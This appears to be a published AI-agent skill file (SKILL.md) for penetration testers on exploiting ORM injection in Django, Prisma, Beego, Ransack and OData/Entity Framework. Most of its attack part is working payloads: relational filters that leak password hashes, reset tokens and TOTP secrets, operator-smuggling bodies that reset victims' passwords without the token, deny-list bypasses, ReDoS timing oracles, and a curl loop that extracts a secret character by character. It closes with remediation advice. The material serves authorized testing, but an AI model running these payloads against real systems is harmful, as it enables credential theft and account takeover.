exploiting-orm-injection

$npx mdskill add xalgord/xalgorix/exploiting-orm-injection

- During authorized tests where an endpoint spreads request JSON/query params into an ORM filter - When you see Django `filter(**request.data)`, Prisma `findMany(req.body)`, Beego `QuerySeter.Filter()`, Ransack `Model.ransack(params[:q])`, or OData `$filter` - When search/list endpoints accept structured filters, bracket syntax (`field[op]=v`), or `field__operator` keys - When auth flows compare secrets (reset tokens, API keys, magic links) with attacker JSON that may carry operator objects - When you need to leak columns not meant to be exposed, by pivoting through model relations

SKILL.md

.github/skills/exploiting-orm-injectionView on GitHub ↗
---
name: exploiting-orm-injection
description: Exploiting ORM injection (ORM Leak) where applications pass attacker-controlled keys/operators directly into
  ORM query builders (Django, Prisma, Beego, Ransack, Entity Framework/OData), letting attackers smuggle relational
  filters and comparison operators to leak hidden columns (passwords, reset tokens, TOTP secrets) via boolean, error, or
  timing oracles, and to bypass field deny-lists. Activates when request data is spread into filter/where clauses.
domain: cybersecurity
subdomain: web-application-security
tags:
- penetration-testing
- orm-injection
- orm-leak
- data-exfiltration
- owasp
- web-security
version: '1.0'
author: xalgorix
license: Apache-2.0
---

# Exploiting ORM Injection (ORM Leak)

## When to Use

- During authorized tests where an endpoint spreads request JSON/query params into an ORM filter
- When you see Django `filter(**request.data)`, Prisma `findMany(req.body)`, Beego `QuerySeter.Filter()`, Ransack `Model.ransack(params[:q])`, or OData `$filter`
- When search/list endpoints accept structured filters, bracket syntax (`field[op]=v`), or `field__operator` keys
- When auth flows compare secrets (reset tokens, API keys, magic links) with attacker JSON that may carry operator objects
- When you need to leak columns not meant to be exposed, by pivoting through model relations

## Critical: Variants Most Often Missed

The miss is treating these as "just a search filter." Attacker-controlled keys let you traverse relations and inject operators to build a leak oracle. Test per framework:

```text
# --- DJANGO (field__operator DSL spread into filter()) ---
# Boolean-leak a password char-by-char
{"username":"admin","password_startswith":"a"}
# Relational pivot to hidden columns
{"created_by__user__password__contains":"pass"}
# Many-to-many pivot to reach users who never created a row
{"created_by__departments__employees__user_startswith":"admi"}
# Group/Permission default M2M relations
created_by__user__groups__user__password
created_by__user__user_permissions__user__password
# Bypass is_secret=False filter by looping back through a relation
Article.objects.filter(is_secret=False, categories__articles__id=2)
# Error/Time oracle via ReDoS regex (MySQL/MariaDB; not Postgres/SQLite-default)
{"created_by__user__password__regex":"^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}

# --- PRISMA (operator objects smuggled into where) ---
{"filter":{"include":{"createdBy":true}}}                 # leak related user incl. password
{"filter":{"select":{"createdBy":{"select":{"password":true}}}}}
{"where":{"createdBy":{"password":{"startsWith":"pas"}}}} # boolean leak
# Operator smuggling into auth (resetToken equality → predicate)
{"resetToken":{"not":"E"},"password":"newpass"}           # matches any token != E
resetToken[not]=E&password=newpass                        # urlencoded extended body
/reset?resetToken[contains]=argon2                        # query-string operator
Cookie: resetToken=j:{"startsWith":"0x"}                  # cookie-parser JSON
# Timed oracle template
{"OR":[{"NOT":{ORM_LEAK}},{CONTAINS_LIST_of_1000_strings}]}

# --- BEEGO (mirrors Django; first-segment validation bypass) ---
GET /search?filter=created_by__user__password__icontains=pbkdf
# Harbor deny-list bypass: validator checks only first __ segment
email__password__startswith=foo        # passes Filterable(email), runs as password__startswith
q=email__password=~abc                 # appended operator → password__icontains

# --- RANSACK (Ruby) ---
GET /posts?q[user_reset_password_token_start]=0   # brute reset token prefix

# --- ENTITY FRAMEWORK / OData (IQueryable + $filter) ---
GET /odata/Articles?$filter=CreatedBy/TfaSecret ge 'M'&$top=1   # binary-search a secret char
GET /odata/Articles?$filter=CreatedBy/TfaSecret lt 'M'&$top=1
```

### How to CONFIRM a hit (avoid false negatives)

- **Boolean oracle**: a `__startswith`/`startsWith`/`ge`/`lt` probe changes the result set (rows returned vs none, pagination count, response length) depending on the guessed char. A consistent flip confirms a leak primitive.
- **Relational pivot**: injecting `created_by__user__password__contains` returns/excludes rows based on another table's secret column — proves you reached a non-exposed field.
- **Operator smuggling (auth bypass)**: `{"resetToken":{"not":"E"}}` authenticates / resets without knowing the token.
- **Error oracle**: a malformed regex or type triggers a DB error only when the condition matches.
- **Timing oracle**: the ReDoS/`CONTAINS_LIST` payload delays the response when the leak condition is true.
- Calibrate to the DB collation: MySQL/MariaDB/SQLite/MSSQL defaults are often case-insensitive — use regex/`GLOB`/`BINARY`/case-sensitive operators when casing matters; MSSQL `SQL_Latin1_General_CP1_CI_AS` orders punctuation before digits/letters, so binary-search must follow that order.

## Workflow

### Step 1: Identify the sink

```bash
# Look for endpoints that spread request data into a filter/where
# Django:  Article.objects.filter(**request.data)
# Prisma:  prisma.article.findMany(req.body.filter | {where: req.query.filter})
# Beego:   qs.Filter(userKey, userVal)
# Probe with a benign extra key and watch result count change:
curl -s "https://target/api/articles" -H 'Content-Type: application/json' \
  --data '{"title__startswith":"a"}'
```

### Step 2: Build the leak oracle (boolean)

```bash
# Django relational leak, char by char
for c in {a..z} {0..9}; do
  n=$(curl -s "https://target/articles" -H 'Content-Type: application/json' \
      --data "{\"created_by__user__password__startswith\":\"${KNOWN}${c}\"}" | jq 'length')
  [ "$n" -gt 0 ] && { echo "char=$c"; break; }
done
```

### Step 3: Escalate — auth bypass, deny-list bypass, blind oracles

```text
# Prisma reset-token bypass (operator object in equality check)
POST /reset   {"resetToken":{"startsWith":"0x"},"password":"pwned"}
# Beego/Harbor deny-list bypass (first-segment-only validation)
GET /api/v2.0/users?q=email__password=~$argon2id$
# OData binary search without contains()
GET /odata/Articles?$filter=CreatedBy/Token ge 'M'&$top=1
# Prisma timed oracle when responses are identical
POST /articles {"query":{"OR":[{"NOT":{"createdBy":{"password":{"startsWith":"pa"}}}},{...1000 strings...}]}}
```

When direct columns are filtered, loop back through many-to-many relations (Article→Category→Article, Author→Department→Employee→User) to reach `password`/`resetToken`/`tfa_secret` and to bypass `published=true` / `is_secret=False` guards.

## Key Concepts

| Concept | Description |
|---------|-------------|
| **ORM Leak** | Smuggling keys/operators into a query builder to read hidden columns |
| **Relational pivot** | `a__b__c` / nested `include`/`select` traverse FKs and M2M to other tables |
| **Operator smuggling** | `{not}`/`{contains}`/`{startsWith}` widen an equality check into a predicate |
| **Deny-list bypass** | Validators that check only the first `__` segment run the later field |
| **Boolean/error/timing oracle** | Infer secret chars when no data is echoed |
| **Collation awareness** | Case sensitivity & char ordering shape the binary-search payloads |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| **Burp Suite Intruder** | Automate char-by-char boolean/timing leak oracles |
| **jq** | Measure result-set size / pagination as the oracle signal |
| **Custom scripts** | Binary-search secret chars per collation (OData/Ransack/Django) |
| **Collaborator / timers** | Confirm timing-based (ReDoS / CONTAINS_LIST) oracles |
| **Source review** | Find `filter(**req)`, `findMany(req.body)`, `Filter(userKey,...)`, `ransack(params)` |

## Common Scenarios

### Scenario 1: Django Password Disclosure via Relation
A search does `Article.objects.filter(**request.data)`. Sending `{"created_by__user__password__startswith":"p"}` returns rows only when the related user's password begins with `p`, leaking it character by character.

### Scenario 2: Prisma Reset-Token Bypass
A reset endpoint runs `findFirstOrThrow({where:{resetToken: req.body.resetToken}})`. Posting `{"resetToken":{"not":"E"},"password":"pwned"}` matches a victim whose token isn't `E`, resetting their password without knowing the token.

### Scenario 3: OData/EF TOTP Secret Leak (Directus CVE-2025-64748 style)
An OData controller exposes `IQueryable` with `$filter`. `$filter=CreatedBy/TfaSecret ge 'M'` plus `lt 'M'` binary-searches each character via result presence, exfiltrating TOTP secrets even with `contains` disabled.

## Output Format

```
## ORM Injection (ORM Leak) Finding

**Vulnerability**: ORM Injection / ORM Leak
**Severity**: High to Critical (CVSS 7.5–9.1; Critical when it bypasses auth)
**Location**: POST /api/articles (filter spread into ORM) or GET /odata/...$filter=
**OWASP Category**: A03:2021 - Injection (A01 Broken Access Control when relations bypass guards)

### Reproduction Steps
1. Send {"created_by__user__password__startswith":"p"} → rows returned only when prefix matches.
2. Iterate the trailing char to recover the full password hash.
3. Bypass deny-list with email__password__startswith=foo (first-segment-only validation).

### Evidence
| Payload | Result | Meaning |
|---------|--------|---------|
| password__startswith=p | rows | prefix = p |
| password__startswith=q | none | prefix != q |
| resetToken={not:E} | reset succeeds | operator smuggling auth bypass |

### Impact
Disclosure of hidden columns (password hashes, reset tokens, API keys, TOTP secrets) via relational pivots and boolean/error/timing oracles; authentication bypass through operator smuggling; deny-list bypass.

### Recommendation
1. Never spread raw request data into filter/where clauses; map onto an explicit allow-list of fields and operators.
2. Validate every `__`-delimited segment (not just the first) and reject relation traversal to sensitive models.
3. Coerce inputs to expected primitive types so operator objects cannot survive deserialization.
4. Mark sensitive fields non-filterable, disable extended bracket parsers, and adopt Ransack ≥4 explicit allow-lists / per-property OData deny-lists.
```

More from xalgord/xalgorix